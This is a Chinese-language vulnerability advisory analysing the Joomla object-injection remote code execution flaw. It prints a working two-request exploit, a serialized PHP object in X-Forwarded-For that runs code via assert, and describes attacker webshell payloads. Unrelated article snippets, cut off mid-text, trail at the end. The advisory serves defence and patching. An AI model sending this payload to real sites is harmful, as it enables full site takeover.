Joomla 对象注入漏洞分析报告

本文讲的是 Joomla 对象注入漏洞分析报告,近日,Joomla再曝高危0day漏洞,可进行远程命令执行,阿里云云盾昨日已上线相应的拦截规则抵御该漏洞。同时,对云托管客户已经做了电话通知和自动漏洞修复。统计数据显示,截至16日凌晨,已有数百个恶意IP尝试使用该漏洞对阿里云网站发起攻击,云盾已成功拦截上万次攻击请求,其中攻击请求数排名第一的黑客在一小时内尝试入侵超过1000个 Joomla 网站。

根据此次漏洞情况,Joomla 官方已紧急放出了3.4.6版本。joomla用户除了尽快升级至最新版本,也可采用阿里云安全团队给出的更为完善的修复方案,对网站进行加固,详情可参考:0x03漏洞修复。

0x00 漏洞介绍

昨日,Joomla 安全团队紧急发布了 Joomla 3.4.6 版本,修复了一个高危 0day 漏洞。该漏洞影响了 1.5 到 3.4.5 的所有版本,漏洞利用无须登录,直接在前台即可执行任意PHP代码。

0x01 漏洞利用

将恶意代码放在 User-Agent 或 X-Forwarded-For 中发送给网站,将网站返回的cookie值带入第二个请求中,即可触发漏洞。或是在第一个请求中指定cookie值,在第二次中带上同样cookie值也能触发漏洞。

请求一:

GET / HTTP/1.1

Host: 127.0.0.1

X-Forwarded-For: }__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”\0\0\0disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:37:”phpinfo();JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:”cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:”init”;}}s:13:”\0\0\0connection”;b:1;}ð

Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2

请求二:

GET / HTTP/1.1

Host: 127.0.0.1

Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2

如果执行成功,请求二的返回内容中会显示phpinfo()的执行结果。

0x02 漏洞分析

在libraries/joomla/session/session.php文件中,joomla将HTTP_USER_AGENT和HTTP_X_FORWARDED_FOR直接存入到了session中

……

// Record proxy forwarded for in the session in case we need it later

if (isset($_SERVER[‘HTTP_X_FORWARDED_FOR’]))

{

$this->set(‘session.client.forwarded’,$_SERVER[‘HTTP_X_FORWARDED_FOR’]);

……

// Check for clients browser

if (in_array(‘fix_browser’, $this->_security) && isset($_SERVER[‘HTTP_USER_AGENT’]))

{

$browser = $this->get(‘session.client.browser’);

if ($browser === null)

{

$this->set(‘session.client.browser’, $_SERVER[‘HTTP_USER_AGENT’]);

}

}

继续跟进joomla对于session的处理方式,在 /libraries/joomla/session/storage.php 内 JSessionStorage 类中,利用session_set_save_handler重新实现了 session 存储的read()和write()方法,从php手册中得定义看到,read()、write()方法传进和传出的参数会分别自动进行序列化和反序列化,这一部分的序列化操作由PHP内核完成:

继续跟入到read()和write()函数,代码位于libraries/joomla/session/storage目录中,从所有session存储引擎的实现代码中可以看到,joomla都没有对 session 的value进行安全处理就进行了写入操作。 默认情况下,joomla使用了数据库引擎对 session 进行存储,这也是本漏洞可以成功利用的条件之一,构造exp时候,利用 Mysql 的字符截断特性,最终写入到数据库中一个被破坏的不合法的反序列化对象,当这个对象被执行read()读取时候,因为截断字符的关系, PHP内核(PHP <= 5.6.13)在解析session.client.forwarded后面字符串时,由于长度Check不一致,导致php_var_unserialize提前退出,返回false,PHP在上一次php_var_unserialize失败的时候,会从之前的指针位置继续开始下一轮key-value尝试,在新一轮key-value尝试中,PHP内核将攻击者注入的”|”当成了分隔符,进行key-value解析,进行反序列化导致对象方法被执行。

漏洞的本质原因有两个,一个是php内核的session解析器bug导致的,另一个是mysql数据库的字符截断特性。如果使用的session存储引擎不存在 Mysql 这样的字符截断特性,此漏洞就无法复现。我们测试该漏洞时,将joomla配置文件configuration.php中的$session_handler 配置为none,即使用文件系统存储session,发现漏洞无法成功利用。

0x03漏洞修复

Joomla 官方已经在昨天紧急放出了3.4.6版本。比对代码后发现,官方此次的升级补丁仅仅在 /libraries/joomla/session/session.php 中删掉了将HTTP_USER_AGENT写入SESSION变量中的代码,增加了对 HTTP_X_FORWARDED_FOR 获取到IP的合法性验证,将此次公开的exp中的利用点修复掉了。但官方没有对JSessionStorage 类中处理session的不安全方式进行修复,因此这个修复方式存在被绕过的可能。只要攻击者寻找到新的可控SESSION值的位置,就可用同样的构造方法触发漏洞。

下面给出更为完善的修复方案:

修改 Joomla 根目录 php ,把 $session_handler 的值改为none,会将session存储引擎设为文件系统。
把 PHP 版本升到到6.13 或更高的版本。
登录Joomla后台把程序升级到4.6 或更高的版本。
0x04 威胁现状

统计数据显示,截至16日凌晨,已有数百个恶意IP尝试使用该漏洞对阿里云网站发起攻击,云盾已成功拦截上万次攻击请求,其中攻击请求数排名第一的黑客在一小时内尝试入侵超过1000个 Joomla 网站。

对攻击者使用的攻击payload分析,大部分攻击者在第一个请求中都会插入类似 eval(base64_decode($_post[a])) 这样的代码,在第二个请求中尝试向网站根目录写入一句话木马。如果攻击成功,网站将会被攻击者完全控制。也有部分攻击者使用的是网上公开的漏洞检测payload,如 phpinfo(); 和 md5(233333); ,这些代码一般不会对网站造成威胁。

时间: 2024-08-13 19:52:37

Joomla 对象注入漏洞分析报告的相关文章

PHP序列化/对象注入漏洞分析_php技巧

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell. 如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作. 漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化.为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 .它会被动检测PHP和Java序列化的存在. 分析 我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞.需要注意的是,序列化对象是从参数"r

金融安全资讯精选 2017年第十二期 Gartner预测未来安全技术,Q3安全投融资分析,WPA2 KRACK漏洞分析报告,云上数据保护方法论

[金融安全动态] Gartner对未来安全技术和市场的最新预测 概要: (1)到2020年,0DAY漏洞在攻击中发挥的作用将会不到0.1%,这里面不包括敏感的政府目标: (2)到2020年,渗透测试智能化工具将会从2016年的0%增加到10%: (3)到2020年,企业将会有产生一个重大的安全事件是由于安全造成的,并且造成重大损失: (4)目前IRM风险管理.SIEM.IGA身份治理.EPP终端保护.PAM权限访问管理市场规模较大,但是年复合增长率较低:EDR.安全培训.RASP.UEBA虽然市

Joomla 3.4.3版本 SQL注入漏洞分析

0x00 漏洞分析 漏洞触发的代码位于:/administrator/components/com_contenthistory/models/history.php,getListQuery()函数内: 通过SQL及报错信息,可以知道我们的注入payload被插入到了红色框部分内.跟进getState()函数,位于libraries/legacy/model/legacy.php文件内,代码如下: 从函数参数和官方注释,可以知道,getState()函数功能是获取一个model的属性及属性对应

金融行业安全漏洞分析报告

报告介绍 互联网+时代的到来,人们充分享受新时代科技创新成果的便利同时,万物互联带来的信息安全风险也日渐提高,信息泄密事件层出不穷,在资金体量庞大.用户信息集中.安全隐患影响深远的金融领域,所面临的安全问题尤为凸显. 人们真切地感知到,原有的金融服务模式被颠覆,网银.第三方支付.互联网金融等新兴模式异军突起.用户也在这些新的业务模式下,将自身姓名.身份证号码.手机号码等身份认证信息与业务紧密绑定关联.所以说,互联网的发展为传统的信息防御体系划开了一道口子,打破看似牢不可破的安全防护状态,直逼用户

解析PHP对象注入漏洞

?? 0.前言 逛乌云知识库的时候看到一篇有趣的译文:www.2cto.com 说的是一种注入方式,叫对象注入.对象也能注入? 是的,只要是存在污染数据,没有什么是不可能注入的,但是这个漏洞有点太古怪了,所以我觉得有趣.   1.原理 在程序编写的时候,往往需要序列化一些运行时数据,所谓序列化就是按照一定的格式将运行时数据写入本地文件.这样做可以对数据进行本地保存,用的时候直接读文件就可以把运行时产生的数据读出.在PHP中就是serialize和unserialize函数了. 能够注入的原理就是

老Y文章管理系统V2.2系统注入漏洞分析与利用

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 今天有朋友让我帮忙给他们公司的网站检查下安全性,在答应了朋友之后.打开朋友公司网站看了一下,发现是用老Y文章管理系统V2.2,下面就开始对其进行进一步的分析. 分析对像:老Y文章管理系统 V2.2,因以下有些地址涉及隐私问题,所以部分地址去除或者隐藏. (一)前期分析 由于该套系统是ASP+ACCESS,可能对于我们来说就有很多的限制,不像M

Wordpress4.2.3提权与SQL注入漏洞分析

这是这几天一直关注的漏洞了,wordpress上个礼拜发布的4.2.4版本,其中提到修补了可能存在的SQL漏洞和多个XSS. Check point也很快发出了分析,我也来分析与复现一下最新的这个漏洞.   0x01 GP混用造成的越权漏洞 首先,说明一下背景.wordpress中用户权限分为订阅者.投稿者.作者.编辑和管理员. 权限最低的是订阅者,订阅者只有订阅文章的权限,wordpress开启注册后默认注册的用户就是订阅者.国内很多知名网站,如Freebuf,用户注册后身份即为“订阅者”.

Dvbbs7.1 sp1 SQL版savepost.asp注入漏洞分析、利用及防范_漏洞研究

一.概述    漏洞介绍: http://coolersky.com/leak/programme/bbs/2006/0515/515.html     前几天就听Hak_Ban说有人把dvbbs7的一个注入漏洞给发布出去了,一直也没时间看看,下午跟Edward要了个链接看了看: http://www.eviloctal.com/forum/read.php?tid=22074     本站转贴为: http://coolersky.com/articles/hack/analysis/prog

Java安全之SQL注入漏洞分析

漏洞简介 SQL 注入漏洞在以下情况下出现: 1. 数据从一个不可信赖的数据源进入程序. 2. 数据用于动态地构造一个 SQL 查询.    代码如下 复制代码 String userName = ctx.getAuthenticatedUserName(); String itemName = request.getParameter("itemName"); String query = "SELECT * FROM items WHERE owner+  = '&quo